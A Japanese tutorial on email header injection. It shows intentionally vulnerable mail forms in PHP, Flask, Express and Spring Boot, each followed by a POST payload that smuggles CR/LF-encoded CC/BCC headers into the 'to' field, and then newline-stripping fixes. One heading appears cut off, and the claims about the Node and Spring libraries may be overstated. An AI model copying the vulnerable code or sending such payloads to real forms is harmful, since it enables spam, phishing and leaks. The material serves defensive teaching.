メールヘッダインジェクション攻撃について
メールヘッダインジェクション攻撃は、攻撃者が電子メールのヘッダーに改行コード(\r\n
)を挿入することで、追加のヘッダーやメッセージ本文を不正に追加する攻撃です。この攻撃により、攻撃者はスパムメールの送信やフィッシング攻撃の実行、メールの内容を改ざんすることが可能になります。メール送信機能がユーザー入力に依存している場合、特にこの脆弱性が発生しやすくなります。
脆弱なコード例:
<?php
$to = $_POST['to'];
$subject = $_POST['subject'];
$message = $_POST['message'];
$headers = "From: webmaster@example.com";
mail($to, $subject, $message, $headers);
?>
攻撃手法:
攻撃者が以下のようにto
フィールドに改行コードを挿入して、追加のヘッダーを注入します。
POST /sendmail.php HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
to=victim@example.com%0A%0DCC:another@example.com&subject=Test&message=Hello
このリクエストにより、メールヘッダーが以下のように生成され、攻撃者が指定した追加のヘッダー(CC)が挿入されます。
To: victim@example.com
CC: another@example.com
From: webmaster@example.com
結果として、another@example.com
にもメールが送信されます。
脆弱なコード例:
from flask import Flask, request
import smtplib
app = Flask(__name__)
@app.route('/sendmail', methods=['POST'])
def send_mail():
to = request.form['to']
subject = request.form['subject']
message = request.form['message']
headers = f"From: webmaster@example.com\nSubject: {subject}\n"
server = smtplib.SMTP('localhost')
server.sendmail("webmaster@example.com", to, headers + "\n" + message)
server.quit()
return "Mail sent!"
攻撃手法:
攻撃者がto
フィールドに改行を含めることで、追加のヘッダーを注入します。
POST /sendmail HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
to=victim@example.com%0A%0DBCC:attacker@example.com&subject=Test&message=Hello
これにより、攻撃者のメールアドレスにBCC(Blind Carbon Copy)でメールが送信され、被害者がその存在に気付かない状態で攻撃が行われます。
脆弱なコード例:
const express = require('express');
const nodemailer = require('nodemailer');
const app = express();
app.use(express.urlencoded({ extended: true }));
app.post('/sendmail', (req, res) => {
let transporter = nodemailer.createTransport({
service: 'Gmail',
auth: {
user: 'webmaster@example.com',
pass: 'password'
}
});
let mailOptions = {
from: 'webmaster@example.com',
to: req.body.to,
subject: req.body.subject,
text: req.body.message
};
transporter.sendMail(mailOptions, (error, info) => {
if (error) {
return res.status(500).send(error.toString());
}
res.send('Mail sent: ' + info.response);
});
});
app.listen(3000);
攻撃手法:
攻撃者がto
フィールドに改行を挿入して、追加のヘッダーを注入します。
POST /sendmail HTTP/1.1
Host: localhost:3000
Content-Type: application/x-www-form-urlencoded
to=victim@example.com%0A%0DCC:attacker@example.com&subject=Test&message=Hello
これにより、攻撃者のメールアドレスにCCでメールが送信され、スパムメールやフィッシングメールを拡散する可能性があります。
脆弱なコード例:
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;
import org.springframework.mail.SimpleMailMessage;
import org.springframework.mail.javamail.JavaMailSender;
@RestController
public class MailController {
private final JavaMailSender mailSender;
public MailController(JavaMailSender mailSender) {
this.mailSender = mailSender;
}
@PostMapping("/sendmail")
public String sendMail(@RequestParam String to, @RequestParam String subject, @RequestParam String message) {
SimpleMailMessage mailMessage = new SimpleMailMessage();
mailMessage.setTo(to);
mailMessage.setSubject(subject);
mailMessage.setText(message);
mailMessage.setFrom("webmaster@example.com");
mailSender.send(mailMessage);
return "Mail sent!";
}
}
攻撃手法:
攻撃者がto
フィールドに改行を含めることで、追加のヘッダーを注入します。
POST /sendmail HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
to=victim@example.com%0A%0DCC:attacker@example.com&subject=Test&message=Hello
これにより、攻撃者が指定したメールアドレスにもCCでメールが送信され、情報漏洩や攻撃の助長に繋がる可能性があります。
\r
や\n
)を除去し、複数のヘッダーが注入されるのを防ぎます。PHPの例:
$to = str_replace(array("\r", "\n"), '', $_POST['to']);
$subject = str_replace(array("\r", "\n"), '', $_POST['subject']);
Python(Flask)の例:
to = request.form['to'].replace('\r', '').replace('\n', '')
subject = request.form['subject'].replace('\r', '').replace('\n', '')
Node.js(Express)の例:
let to = req.body.to.replace(/(\r\n|\n|\r)/gm, "");
Java(Spring Boot)の例:
to = to.replaceAll("[\r\n]", "");
subject = subject.replaceAll("[\r\n]", "");
まとめ: メールヘッダインジェクション攻撃は、電子メールのヘッダーに不正なデータを注入することで、スパムメールの送信やフィッシング攻撃を可能にする危険な攻撃です。ユーザー入力のエスケープや改行コードの除去、ホワイトリスト方式の適用などの防止策を講じることで、この脆弱性を防ぐことが可能です。